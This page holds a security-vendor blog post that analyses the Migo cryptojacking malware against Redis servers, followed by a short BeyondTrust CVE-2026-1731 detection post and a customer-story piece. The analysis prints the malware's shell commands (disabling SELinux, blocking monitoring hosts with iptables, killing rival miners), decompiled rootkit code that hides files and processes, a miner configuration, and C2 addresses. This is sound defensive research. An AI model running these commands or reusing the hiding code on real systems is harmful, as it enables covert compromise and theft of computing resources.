Blog
/
Cloud
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

/

February 13, 2026

CVE-2026-1731: How Darktrace Sees the BeyondTrust Exploitation Wave Unfolding

Default blog imageDefault blog image

Note: Darktrace's Threat Research team is publishing now to help defenders. We will update continue updating this blog as our investigations unfold.

Background

On February 6, 2026, the Identity & Access Management solution BeyondTrust announced patches for a vulnerability, CVE-2026-1731, which enables unauthenticated remote code execution using specially crafted requests.  This vulnerability affects BeyondTrust Remote Support (RS) and particular older versions of Privileged Remote Access (PRA) [1].

A Proof of Concept (PoC) exploit for this vulnerability was released publicly on February 10, and open-source intelligence (OSINT) reported exploitation attempts within 24 hours [2].

Previous intrusions against Beyond Trust technology have been cited as being affiliated with nation-state attacks, including a 2024 breach targeting the U.S. Treasury Department. This incident led to subsequent emergency directives from  the Cybersecurity and Infrastructure Security Agency (CISA) and later showed attackers had chained previously unknown vulnerabilities to achieve their goals [3].

Additionally, there appears to be infrastructure overlap with React2Shell mass exploitation previously observed by Darktrace, with command-and-control (C2) domain  avg.domaininfo[.]top seen in potential post-exploitation activity for BeyondTrust, as well as in a React2Shell exploitation case involving possible EtherRAT deployment.

Darktrace Detections

Darktrace’s Threat Research team has identified highly anomalous activity across several customers that may relate to exploitation of BeyondTrust since February 10, 2026. Observed activities include:

-              Outbound connections and DNS requests for endpoints associated with Out-of-Band Application Security Testing; these services are commonly abused by threat actors for exploit validation.  Associated Darktrace models include:

o    Compromise / Possible Tunnelling to Bin Services

-              Suspicious executable file downloads. Associated Darktrace models include:

o    Anomalous File / EXE from Rare External Location

-              Outbound beaconing to rare domains. Associated Darktrace models include:

o   Compromise / Agent Beacon (Medium Period)

o   Compromise / Agent Beacon (Long Period)

o   Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

o   Compromise / Beacon to Young Endpoint

o   Anomalous Server Activity / Rare External from Server

o   Compromise / SSL Beaconing to Rare Destination

-              Unusual cryptocurrency mining activity. Associated Darktrace models include:

o   Compromise / Monero Mining

o   Compromise / High Priority Crypto Currency Mining

And model alerts for:

o    Compromise / Rare Domain Pointing to Internal IP

IT Defenders: As part of best practices, we highly recommend employing an automated containment solution in your environment. For Darktrace customers, please ensure that Autonomous Response is configured correctly. More guidance regarding this activity and suggested actions can be found in the Darktrace Customer Portal.  

Appendices

Potential indicators of post-exploitation behavior:

·      217.76.57[.]78 – IP address - Likely C2 server

·      hXXp://217.76.57[.]78:8009/index.js - URL -  Likely payload

·      b6a15e1f2f3e1f651a5ad4a18ce39d411d385ac7  - SHA1 - Likely payload

·      195.154.119[.]194 – IP address – Likely C2 server

·      hXXp://195.154.119[.]194/index.js - URL – Likely payload

·      avg.domaininfo[.]top – Hostname – Likely C2 server

·      104.234.174[.]5 – IP address - Possible C2 server

·      35da45aeca4701764eb49185b11ef23432f7162a – SHA1 – Possible payload

·      hXXp://134.122.13[.]34:8979/c - URL – Possible payload

·      134.122.13[.]34 – IP address – Possible C2 server

·      28df16894a6732919c650cc5a3de94e434a81d80 - SHA1 - Possible payload

References:

1.        https://nvd.nist.gov/vuln/detail/CVE-2026-1731

2.        https://www.securityweek.com/beyondtrust-vulnerability-targeted-by-hackers-within-24-hours-of-poc-release/

3.        https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/

Continue reading
About the author
Emma Foulger
Global Threat Research Operations Lead

Blog

/

AI

/

February 13, 2026

How AI is redefining cybersecurity and the role of today’s CIO

Default blog imageDefault blog image

Why AI is essential to modern security

As attackers use automation and AI to outpace traditional tools and people, our approach to cybersecurity must fundamentally change. That’s why one of my first priorities as Withum's CIO was to elevate cybersecurity from a technical function to a business enabler.

What used to be “IT’s problem” is now a boardroom conversation – and for good reason. Protecting our data, our people, and our clients directly impacts revenue, reputation and competitive positioning.  

As CIOs / CISOs, our responsibilities aren’t just keeping systems running, but enabling trust, protecting our organization's reputation, and giving the business confidence to move forward even as the digital world becomes less predictable. To pull that off, we need to know the business inside-out, understand risk, and anticipate what's coming next. That's where AI becomes essential.

Staying ahead when you’re a natural target

With more than 3,100 team members and over 1,000 CPAs (Certified Public Accountant), Withum’s operates in an industry that naturally attracts attention from attackers. Firms like ours handle highly sensitive financial and personal information, which puts us squarely in the crosshairs for sophisticated phishing, ransomware, and cloud-based attacks.

We’ve built our security program around resilience, visibility, and scale. By using Darktrace’s AI-powered platform, we can defend against both known and unknown threats, across email and network, without slowing our teams down.

Our focus is always on what we’re protecting: our clients’ information, our intellectual property, and the reputation of the firm. With Darktrace, we’re not just keeping up with the massive volume of AI-powered attacks coming our way, we’re staying ahead. The platform defends our digital ecosystem around the clock, detecting potential threats across petabytes of data and autonomously investigating and responding to tens of thousands of incidents every year.

Catching what traditional tools miss

Beyond the sheer scale of attacks, Darktrace ActiveAI Security PlatformTM is critical for identifying threats that matter to our business. Today’s attackers don’t use generic techniques. They leverage automation and AI to craft highly targeted attacks – impersonating trusted colleagues, mimicking legitimate websites, and weaving in real-world details that make their messages look completely authentic.

The platform, covering our network, endpoints, inboxes, cloud and more is so effective because it continuously learns what’s normal for our business: how our users typically behave, the business- and industry-specific language we use, how systems communicate, and how cloud resources are accessed. It picks up on minute details that would sail right past traditional tools and even highly trained security professionals.

Freeing up our team to do what matters

On average, Darktrace autonomously investigates 88% of all our security events, using AI to connect the dots across email, network, and cloud activity to figure out what matters. That shift has changed how our team works. Instead of spending hours sorting through alerts, we can focus on proactive efforts that actually strengthen our security posture.

For example, we saved 1,850 hours on investigating security issues over a ten-day period. We’ve reinvested the time saved into strengthening policies, refining controls, and supporting broader business initiatives, rather than spending endless hours manually piecing together alerts.

Real confidence, real results

The impact of our AI-driven approach goes well beyond threat detection. Today, we operate from a position of confidence, knowing that threats are identified early, investigated automatically, and communicated clearly across our organization.

That confidence was tested when we withstood a major ransomware attack by a well-known threat group. Not only were we able to contain the incident, but we were able to trace attacker activity and provided evidence to law enforcement. That was an exhilarating experience! My team did an outstanding job, and moments like that reinforce exactly why we invest in the right technology and the right people.

Internally, this capability has strengthened trust at the executive level. We share security reporting regularly with leadership, translating technical activity into business-relevant insights. That transparency reinforces cybersecurity as a shared responsibility, one that directly supports growth, continuity, and reputation.

Culturally, we’ve embedded security awareness into daily operations through mandatory monthly training, executive communication, and real-world industry examples that keep cybersecurity top of mind for every employee.

The only headlines we want are positive ones: Withum expanding services, Withum growing year over year. Security plays a huge role in making sure that’s the story we get to tell.

What’s next

Looking ahead, we’re expanding our use of Darktrace, including new cloud capabilities that extend AI-driven visibility and investigation into our AWS and Azure environments.

As I continue shaping our security team, I look for people with passion, curiosity, and a genuine drive to solve problems. Those qualities matter just as much as formal credentials in my view. Combined with AI, these attributes help us build a resilient, engaged security function with low turnover and high impact.

For fellow technology leaders, my advice is simple: be forward-thinking and embrace change. We must understand the business, the threat landscape, and how technology enables both. By augmenting human expertise rather than replacing it, AI allows us to move upstream by anticipating risk, advising the business, and fostering stronger collaboration across teams.

Continue reading
About the author
Amel Edmond
Chief Information Officer
Your data. Our AI.
Elevate your network security with Darktrace AI